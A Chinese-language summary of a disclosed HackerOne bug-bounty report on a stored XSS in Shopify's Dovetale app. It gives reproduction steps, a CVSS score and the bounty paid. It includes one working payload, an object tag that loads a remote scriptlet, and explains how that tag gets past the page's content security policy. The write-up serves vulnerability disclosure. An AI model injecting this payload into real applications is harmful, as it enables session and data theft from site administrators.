最新Shopify在HackerOne上对4个月前的一处存储型XSS漏洞进行了公开披露,让我们一起来看看这个漏洞吧。
漏洞概要:
Dovetale 是 Shopify 的一个影响力管理平台,用于管理和扩展‘网红’营销,有影响力的人可以申请成为品牌大使,如果恶意创建者在名字、姓氏等中使用 XSS Payloads,数据将被存储并呈现给 Dovetale 应用程序区域内的品牌管理员。当管理员批准应用程序时,HTML-/JavaScript 最终被触发。
被用于测试的网站URL是:
19kun-24.myshopify.com
漏洞复现:
先决条件:需要“真实”订阅 Shopify 计划(例如基本计划)才能获得相关权限,仅仅创建开发商店在某种程度上是不够的。
1、(受害者)为其商店安装 Dovetale 应用程序,创建 Dovetale 帐户并将其链接到特定商店。
2、(受害者)创建一个适当的申请页面并复制成为品牌大使的申请链接
3、(攻击者)在新的浏览器实例中打开链接并按照应用程序进行操作,例如,使用现有的 Instagram 帐户申请
4、(攻击者)现在是填写你个人数据的时候了,将 XSS Payloads用于你的姓氏栏,
<object type="text/x-scriptlet" data="https://xss.rocks/scriptlet.html"></object>
5、(攻击者)完成并提交申请,之后需要验证电子邮件地址
6、(受害人)此时应该已经收到申请,点击“批准”按钮
7、(受害者)现在可以创建欢迎电子邮件,由于编辑器的清理,XSS Payloads不会在这里触发
但是如果单击了“Next Welcome package”>“Next Review”,将再次显示电子邮件并执行 JavaScript 代码:
注意:页面的CSP已通过使用对象标记成功绕过,因为CSP并不会阻止这种情况。
漏洞危害:
在受害者的浏览器中执行JavaScript代码
泄露机密数据,也有可能窃取其他申请者的数据或CSRF-令牌等数据
通过HTML注入对网站进行破坏
仿冒
CVSS3.0 漏洞评分:
Base Score CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N 5.4
Specific conditions or measurable effort to exploit?: No
Requires privileged account (not self-registered)?: No
Requires victim to perform some action during exploit?: Yes
Can the attacker impact a separate service?: No
How much data could be accessed?: Most or All
How much of Shopify is impacted?: Some
How much data could be changed?: Most or All
How much of Shopify is impacted?: Some
Level of disruption to network service?: None
该报告在hackerone上的地址是:
https://hackerone.com/reports/1652046
Shopify 依据 CVSS3.0 计算,最终奖励白帽 kun_19 共计$1,600的赏金奖励。
====正文结束====